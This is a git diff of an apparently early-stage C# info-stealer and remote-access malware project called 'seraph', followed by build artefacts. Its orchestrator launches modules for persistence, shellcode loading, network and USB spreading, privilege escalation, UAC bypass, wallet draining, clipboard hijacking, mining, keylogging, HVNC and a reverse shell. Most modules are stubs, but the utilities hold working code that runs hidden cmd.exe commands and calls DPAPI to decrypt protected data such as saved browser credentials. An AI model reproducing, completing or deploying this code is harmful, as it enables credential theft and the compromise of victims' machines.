||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class DisableREAgentC
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs
Normal file
9
seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class PrivEsc : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Privilege Escalation Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
public class UACBypass
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
14
seraph/Seraph.Components/Sender.cs
Normal file
14
seraph/Seraph.Components/Sender.cs
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class Sender : Service
|
||||||
|
{
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Sender Initialized.");
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void Execute()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Sender Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
63
seraph/Seraph.Components/Seraphian.cs
Normal file
63
seraph/Seraph.Components/Seraphian.cs
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
using seraph.Seraph.Components.Exfiltration;
|
||||||
|
using seraph.Seraph.Components.Exfiltration.Browser;
|
||||||
|
using seraph.Seraph.Components.Exfiltration.Network;
|
||||||
|
using seraph.Seraph.Components.Exfiltration.Wallet;
|
||||||
|
using seraph.Seraph.Components.PrivilegeEscalation;
|
||||||
|
|
||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class Seraphian : Service
|
||||||
|
{
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Stealer Initialized.");
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void Execute()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Stealer Running.");
|
||||||
|
|
||||||
|
var services = new List<Seraphh>()
|
||||||
|
{
|
||||||
|
new PornDetection(),
|
||||||
|
new Persistence(),
|
||||||
|
new Snapshot(),
|
||||||
|
new ShellcodeLoader(),
|
||||||
|
new NetworkSpread(),
|
||||||
|
new BlockWebsites(),
|
||||||
|
new PrivEsc(),
|
||||||
|
new Files(),
|
||||||
|
new Game(),
|
||||||
|
new Mail(),
|
||||||
|
new Messenger(),
|
||||||
|
new Ssystem(),
|
||||||
|
new Wallet(),
|
||||||
|
new Miner(),
|
||||||
|
new Drainer(),
|
||||||
|
new Clipper(),
|
||||||
|
new Network(),
|
||||||
|
new Browser()
|
||||||
|
};
|
||||||
|
|
||||||
|
var threads = new List<Thread>();
|
||||||
|
|
||||||
|
foreach (var service in services)
|
||||||
|
{
|
||||||
|
var createThread = new Thread(() => { service.Run(); });
|
||||||
|
threads.Add(createThread);
|
||||||
|
createThread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var thread in threads)
|
||||||
|
{
|
||||||
|
thread.Join();
|
||||||
|
}
|
||||||
|
|
||||||
|
threads.Clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract class Seraphh
|
||||||
|
{
|
||||||
|
public abstract void Run();
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/ShellcodeLoader.cs
Normal file
9
seraph/Seraph.Components/ShellcodeLoader.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class ShellcodeLoader : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("ShellcodeLoader Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
9
seraph/Seraph.Components/Snapshot.cs
Normal file
9
seraph/Seraph.Components/Snapshot.cs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
namespace seraph.Seraph.Components;
|
||||||
|
|
||||||
|
public class Snapshot : Seraphian.Seraphh
|
||||||
|
{
|
||||||
|
public override void Run()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Snapshot Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
14
seraph/Seraph.Infect/Infect.cs
Normal file
14
seraph/Seraph.Infect/Infect.cs
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
namespace seraph.Seraph.Infect;
|
||||||
|
|
||||||
|
public class Infect : Service
|
||||||
|
{
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Infection Initialized.");
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void Execute()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Infection Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
6
seraph/Seraph.Infect/SystemSpread.cs
Normal file
6
seraph/Seraph.Infect/SystemSpread.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Infect;
|
||||||
|
|
||||||
|
public class SystemSpread
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Infect/USBSpread.cs
Normal file
6
seraph/Seraph.Infect/USBSpread.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Infect;
|
||||||
|
|
||||||
|
public class USBSpread
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/Download.cs
Normal file
6
seraph/Seraph.Remote/Download.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class Download
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/HVNC.cs
Normal file
6
seraph/Seraph.Remote/HVNC.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class HVNC
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/Keylogger.cs
Normal file
6
seraph/Seraph.Remote/Keylogger.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class Keylogger
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
14
seraph/Seraph.Remote/Remote.cs
Normal file
14
seraph/Seraph.Remote/Remote.cs
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class Remote : Service
|
||||||
|
{
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Remote Daemon Initialized.");
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void Execute()
|
||||||
|
{
|
||||||
|
Console.WriteLine("Remote Daemon Running.");
|
||||||
|
}
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/ReverseShell.cs
Normal file
6
seraph/Seraph.Remote/ReverseShell.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class ReverseShell
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/TaskManager.cs
Normal file
6
seraph/Seraph.Remote/TaskManager.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class TaskManager
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
6
seraph/Seraph.Remote/Upload.cs
Normal file
6
seraph/Seraph.Remote/Upload.cs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
namespace seraph.Seraph.Remote;
|
||||||
|
|
||||||
|
public class Upload
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
42
seraph/Seraph.Utility/Utils.cs
Normal file
42
seraph/Seraph.Utility/Utils.cs
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
namespace seraph.Seraph.Utility;
|
||||||
|
|
||||||
|
using System.Security.Principal;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
|
public class Utils
|
||||||
|
{
|
||||||
|
public static string lAppdata = Environment.GetEnvironmentVariable("LOCALAPPDATA");
|
||||||
|
public static string Appdata = Environment.GetEnvironmentVariable("APPDATA");
|
||||||
|
|
||||||
|
public static bool IsRunningAsAdmin()
|
||||||
|
{
|
||||||
|
WindowsIdentity identity = WindowsIdentity.GetCurrent();
|
||||||
|
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||||
|
|
||||||
|
return principal.IsInRole(WindowsBuiltInRole.Administrator);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsWindows()
|
||||||
|
{
|
||||||
|
return RuntimeInformation.IsOSPlatform(OSPlatform.Windows);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string ShellExecute(string command)
|
||||||
|
{
|
||||||
|
using var process = new Process
|
||||||
|
{
|
||||||
|
StartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd.exe",
|
||||||
|
Arguments = $"/c {command}",
|
||||||
|
RedirectStandardOutput = true,
|
||||||
|
UseShellExecute = false,
|
||||||
|
CreateNoWindow = true
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
process.Start();
|
||||||
|
return process.StandardOutput.ReadToEnd();
|
||||||
|
}
|
||||||
|
}
|
||||||
79
seraph/Seraph.Utility/crypt32.cs
Normal file
79
seraph/Seraph.Utility/crypt32.cs
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
namespace seraph.Seraph.Utility;
|
||||||
|
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System;
|
||||||
|
|
||||||
|
public static class Crypt32Wrapper
|
||||||
|
{
|
||||||
|
[DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||||
|
private static extern bool CryptUnprotectData(
|
||||||
|
ref DATA_BLOB pDataIn,
|
||||||
|
out IntPtr ppszDataDescr,
|
||||||
|
IntPtr pOptionalEntropy,
|
||||||
|
IntPtr pvReserved,
|
||||||
|
IntPtr pPromptStruct,
|
||||||
|
int dwFlags,
|
||||||
|
out DATA_BLOB pDataOut);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct DATA_BLOB
|
||||||
|
{
|
||||||
|
public int cbData;
|
||||||
|
public IntPtr pbData;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
|
||||||
|
|
||||||
|
public static string Decrypt(byte[] encryptedData)
|
||||||
|
{
|
||||||
|
if (encryptedData == null || encryptedData.Length == 0)
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Encrypted data cannot be null or empty.");
|
||||||
|
}
|
||||||
|
|
||||||
|
var inBlob = new DATA_BLOB
|
||||||
|
{
|
||||||
|
cbData = encryptedData.Length,
|
||||||
|
pbData = Marshal.AllocHGlobal(encryptedData.Length)
|
||||||
|
};
|
||||||
|
Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length);
|
||||||
|
|
||||||
|
DATA_BLOB outBlob = new DATA_BLOB();
|
||||||
|
IntPtr descriptionPtr = IntPtr.Zero;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bool success = CryptUnprotectData(ref inBlob, out descriptionPtr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
|
||||||
|
CRYPTPROTECT_UI_FORBIDDEN, out outBlob);
|
||||||
|
|
||||||
|
if (!success)
|
||||||
|
{
|
||||||
|
int errorCode = Marshal.GetLastWin32Error();
|
||||||
|
throw new InvalidOperationException($"Decryption failed with error code: {errorCode}");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outBlob.pbData == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
throw new InvalidOperationException("Decryption failed: outBlob.pbData is null.");
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] decryptedData = new byte[outBlob.cbData];
|
||||||
|
Marshal.Copy(outBlob.pbData, decryptedData, 0, outBlob.cbData);
|
||||||
|
return Encoding.UTF8.GetString(decryptedData);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
Marshal.FreeHGlobal(inBlob.pbData);
|
||||||
|
if (outBlob.pbData != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
Marshal.FreeHGlobal(outBlob.pbData);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (descriptionPtr != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
Marshal.FreeHGlobal(descriptionPtr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
8
seraph/Service.cs
Normal file
8
seraph/Service.cs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
namespace seraph
|
||||||
|
{
|
||||||
|
public abstract class Service
|
||||||
|
{
|
||||||
|
public abstract void Execute();
|
||||||
|
public abstract void Initialize();
|
||||||
|
}
|
||||||
|
}
|
||||||
23
seraph/bin/Debug/net8.0/seraph.deps.json
Normal file
23
seraph/bin/Debug/net8.0/seraph.deps.json
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
{
|
||||||
|
"runtimeTarget": {
|
||||||
|
"name": ".NETCoreApp,Version=v8.0",
|
||||||
|
"signature": ""
|
||||||
|
},
|
||||||
|
"compilationOptions": {},
|
||||||
|
"targets": {
|
||||||
|
".NETCoreApp,Version=v8.0": {
|
||||||
|
"seraph/1.0.0": {
|
||||||
|
"runtime": {
|
||||||
|
"seraph.dll": {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"libraries": {
|
||||||
|
"seraph/1.0.0": {
|
||||||
|
"type": "project",
|
||||||
|
"serviceable": false,
|
||||||
|
"sha512": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
seraph/bin/Debug/net8.0/seraph.dll
Normal file
BIN
seraph/bin/Debug/net8.0/seraph.dll
Normal file
Binary file not shown.
BIN
seraph/bin/Debug/net8.0/seraph.exe
Normal file
BIN
seraph/bin/Debug/net8.0/seraph.exe
Normal file
Binary file not shown.
BIN
seraph/bin/Debug/net8.0/seraph.pdb
Normal file
BIN
seraph/bin/Debug/net8.0/seraph.pdb
Normal file
Binary file not shown.
12
seraph/bin/Debug/net8.0/seraph.runtimeconfig.json
Normal file
12
seraph/bin/Debug/net8.0/seraph.runtimeconfig.json
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"runtimeOptions": {
|
||||||
|
"tfm": "net8.0",
|
||||||
|
"framework": {
|
||||||
|
"name": "Microsoft.NETCore.App",
|
||||||
|
"version": "8.0.0"
|
||||||
|
},
|
||||||
|
"configProperties": {
|
||||||
|
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
23
seraph/bin/Release/net8.0/seraph.deps.json
Normal file
23
seraph/bin/Release/net8.0/seraph.deps.json
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
{
|
||||||
|
"runtimeTarget": {
|
||||||
|
"name": ".NETCoreApp,Version=v8.0",
|
||||||
|
"signature": ""
|
||||||
|
},
|
||||||
|
"compilationOptions": {},
|
||||||
|
"targets": {
|
||||||
|
".NETCoreApp,Version=v8.0": {
|
||||||
|
"seraph/1.0.0": {
|
||||||
|
"runtime": {
|
||||||
|
"seraph.dll": {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"libraries": {
|
||||||
|
"seraph/1.0.0": {
|
||||||
|
"type": "project",
|
||||||
|
"serviceable": false,
|
||||||
|
"sha512": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
seraph/bin/Release/net8.0/seraph.dll
Normal file
BIN
seraph/bin/Release/net8.0/seraph.dll
Normal file
Binary file not shown.
BIN
seraph/bin/Release/net8.0/seraph.exe
Normal file
BIN
seraph/bin/Release/net8.0/seraph.exe
Normal file
Binary file not shown.
BIN
seraph/bin/Release/net8.0/seraph.pdb
Normal file
BIN
seraph/bin/Release/net8.0/seraph.pdb
Normal file
Binary file not shown.
13
seraph/bin/Release/net8.0/seraph.runtimeconfig.json
Normal file
13
seraph/bin/Release/net8.0/seraph.runtimeconfig.json
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
{
|
||||||
|
"runtimeOptions": {
|
||||||
|
"tfm": "net8.0",
|
||||||
|
"framework": {
|
||||||
|
"name": "Microsoft.NETCore.App",
|
||||||
|
"version": "8.0.0"
|
||||||
|
},
|
||||||
|
"configProperties": {
|
||||||
|
"System.Reflection.Metadata.MetadataUpdater.IsSupported": false,
|
||||||
|
"System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
// <autogenerated />
|
||||||
|
using System;
|
||||||
|
using System.Reflection;
|
||||||
|
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
|
||||||
BIN
seraph/obj/Debug/net8.0/apphost.exe
Normal file
BIN
seraph/obj/Debug/net8.0/apphost.exe
Normal file
Binary file not shown.
BIN
seraph/obj/Debug/net8.0/ref/seraph.dll
Normal file
BIN
seraph/obj/Debug/net8.0/ref/seraph.dll
Normal file
Binary file not shown.
BIN
seraph/obj/Debug/net8.0/refint/seraph.dll
Normal file
BIN
seraph/obj/Debug/net8.0/refint/seraph.dll
Normal file
Binary file not shown.
22
seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs
Normal file
22
seraph/obj/Debug/net8.0/seraph.AssemblyInfo.cs
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Reflection;
|
||||||
|
|
||||||
|
[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
|
||||||
|
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
|
||||||
|
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
|
||||||
|
[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
|
||||||
|
|
||||||
|
// Von der MSBuild WriteCodeFragment-Klasse generiert.
|
||||||
|
|
||||||
1
seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache
Normal file
1
seraph/obj/Debug/net8.0/seraph.AssemblyInfoInputs.cache
Normal file
@@ -0,0 +1 @@
|
|||||||
|
d75807a5f89bff94c6c165411057ab21e37b99c044d409180b33a0fbc81d8189
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
is_global = true
|
||||||
|
build_property.TargetFramework = net8.0
|
||||||
|
build_property.TargetPlatformMinVersion =
|
||||||
|
build_property.UsingMicrosoftNETSdkWeb =
|
||||||
|
build_property.ProjectTypeGuids =
|
||||||
|
build_property.InvariantGlobalization =
|
||||||
|
build_property.PlatformNeutralAssembly =
|
||||||
|
build_property.EnforceExtendedAnalyzerRules =
|
||||||
|
build_property._SupportedPlatformList = Linux,macOS,Windows
|
||||||
|
build_property.RootNamespace = seraph
|
||||||
|
build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
|
||||||
|
build_property.EnableComHosting =
|
||||||
|
build_property.EnableGeneratedComInterfaceComImportInterop =
|
||||||
8
seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs
Normal file
8
seraph/obj/Debug/net8.0/seraph.GlobalUsings.g.cs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
// <auto-generated/>
|
||||||
|
global using global::System;
|
||||||
|
global using global::System.Collections.Generic;
|
||||||
|
global using global::System.IO;
|
||||||
|
global using global::System.Linq;
|
||||||
|
global using global::System.Net.Http;
|
||||||
|
global using global::System.Threading;
|
||||||
|
global using global::System.Threading.Tasks;
|
||||||
BIN
seraph/obj/Debug/net8.0/seraph.assets.cache
Normal file
BIN
seraph/obj/Debug/net8.0/seraph.assets.cache
Normal file
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
29066902f8ac4d5ccb2d7c04a1acfb2d05d462a1a582dbb8ece030516f68312d
|
||||||
14
seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt
Normal file
14
seraph/obj/Debug/net8.0/seraph.csproj.FileListAbsolute.txt
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.exe
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.deps.json
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.runtimeconfig.json
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Debug\net8.0\seraph.pdb
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfoInputs.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.AssemblyInfo.cs
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.csproj.CoreCompileInputs.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\refint\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.pdb
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\seraph.genruntimeconfig.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Debug\net8.0\ref\seraph.dll
|
||||||
BIN
seraph/obj/Debug/net8.0/seraph.dll
Normal file
BIN
seraph/obj/Debug/net8.0/seraph.dll
Normal file
Binary file not shown.
1
seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache
Normal file
1
seraph/obj/Debug/net8.0/seraph.genruntimeconfig.cache
Normal file
@@ -0,0 +1 @@
|
|||||||
|
47cbad650cd263fef74dbfacd26269093fc783aa03658a4013f529ae7d9247b7
|
||||||
BIN
seraph/obj/Debug/net8.0/seraph.pdb
Normal file
BIN
seraph/obj/Debug/net8.0/seraph.pdb
Normal file
Binary file not shown.
@@ -0,0 +1,4 @@
|
|||||||
|
// <autogenerated />
|
||||||
|
using System;
|
||||||
|
using System.Reflection;
|
||||||
|
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
|
||||||
BIN
seraph/obj/Release/net8.0/apphost.exe
Normal file
BIN
seraph/obj/Release/net8.0/apphost.exe
Normal file
Binary file not shown.
BIN
seraph/obj/Release/net8.0/ref/seraph.dll
Normal file
BIN
seraph/obj/Release/net8.0/ref/seraph.dll
Normal file
Binary file not shown.
BIN
seraph/obj/Release/net8.0/refint/seraph.dll
Normal file
BIN
seraph/obj/Release/net8.0/refint/seraph.dll
Normal file
Binary file not shown.
22
seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs
Normal file
22
seraph/obj/Release/net8.0/seraph.AssemblyInfo.cs
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Reflection;
|
||||||
|
|
||||||
|
[assembly: System.Reflection.AssemblyCompanyAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyConfigurationAttribute("Release")]
|
||||||
|
[assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")]
|
||||||
|
[assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")]
|
||||||
|
[assembly: System.Reflection.AssemblyProductAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyTitleAttribute("seraph")]
|
||||||
|
[assembly: System.Reflection.AssemblyVersionAttribute("1.0.0.0")]
|
||||||
|
|
||||||
|
// Von der MSBuild WriteCodeFragment-Klasse generiert.
|
||||||
|
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
7873b96a14a886c363902eb95bd776eb4df56af23c9a5840eb66db64caf2e040
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
is_global = true
|
||||||
|
build_property.TargetFramework = net8.0
|
||||||
|
build_property.TargetPlatformMinVersion =
|
||||||
|
build_property.UsingMicrosoftNETSdkWeb =
|
||||||
|
build_property.ProjectTypeGuids =
|
||||||
|
build_property.InvariantGlobalization =
|
||||||
|
build_property.PlatformNeutralAssembly =
|
||||||
|
build_property.EnforceExtendedAnalyzerRules =
|
||||||
|
build_property._SupportedPlatformList = Linux,macOS,Windows
|
||||||
|
build_property.RootNamespace = seraph
|
||||||
|
build_property.ProjectDir = C:\Users\gum\RiderProjects\seraph\seraph\
|
||||||
|
build_property.EnableComHosting =
|
||||||
|
build_property.EnableGeneratedComInterfaceComImportInterop =
|
||||||
8
seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs
Normal file
8
seraph/obj/Release/net8.0/seraph.GlobalUsings.g.cs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
// <auto-generated/>
|
||||||
|
global using global::System;
|
||||||
|
global using global::System.Collections.Generic;
|
||||||
|
global using global::System.IO;
|
||||||
|
global using global::System.Linq;
|
||||||
|
global using global::System.Net.Http;
|
||||||
|
global using global::System.Threading;
|
||||||
|
global using global::System.Threading.Tasks;
|
||||||
BIN
seraph/obj/Release/net8.0/seraph.assets.cache
Normal file
BIN
seraph/obj/Release/net8.0/seraph.assets.cache
Normal file
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
a248834d9d5241c9ac2f983b6be8e32cce8bb549b16973f7117fbdfe494786d8
|
||||||
14
seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt
Normal file
14
seraph/obj/Release/net8.0/seraph.csproj.FileListAbsolute.txt
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.exe
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.deps.json
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.runtimeconfig.json
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\bin\Release\net8.0\seraph.pdb
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.GeneratedMSBuildEditorConfig.editorconfig
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfoInputs.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.AssemblyInfo.cs
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.csproj.CoreCompileInputs.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\refint\seraph.dll
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.pdb
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\seraph.genruntimeconfig.cache
|
||||||
|
C:\Users\gum\RiderProjects\seraph\seraph\obj\Release\net8.0\ref\seraph.dll
|
||||||
BIN
seraph/obj/Release/net8.0/seraph.dll
Normal file
BIN
seraph/obj/Release/net8.0/seraph.dll
Normal file
Binary file not shown.
1
seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache
Normal file
1
seraph/obj/Release/net8.0/seraph.genruntimeconfig.cache
Normal file
@@ -0,0 +1 @@
|
|||||||
|
ea199540467a6e4ef92d71a5333af19225a609ff58dfc9b821b595ad6d2e07db
|
||||||
BIN
seraph/obj/Release/net8.0/seraph.pdb
Normal file
BIN
seraph/obj/Release/net8.0/seraph.pdb
Normal file
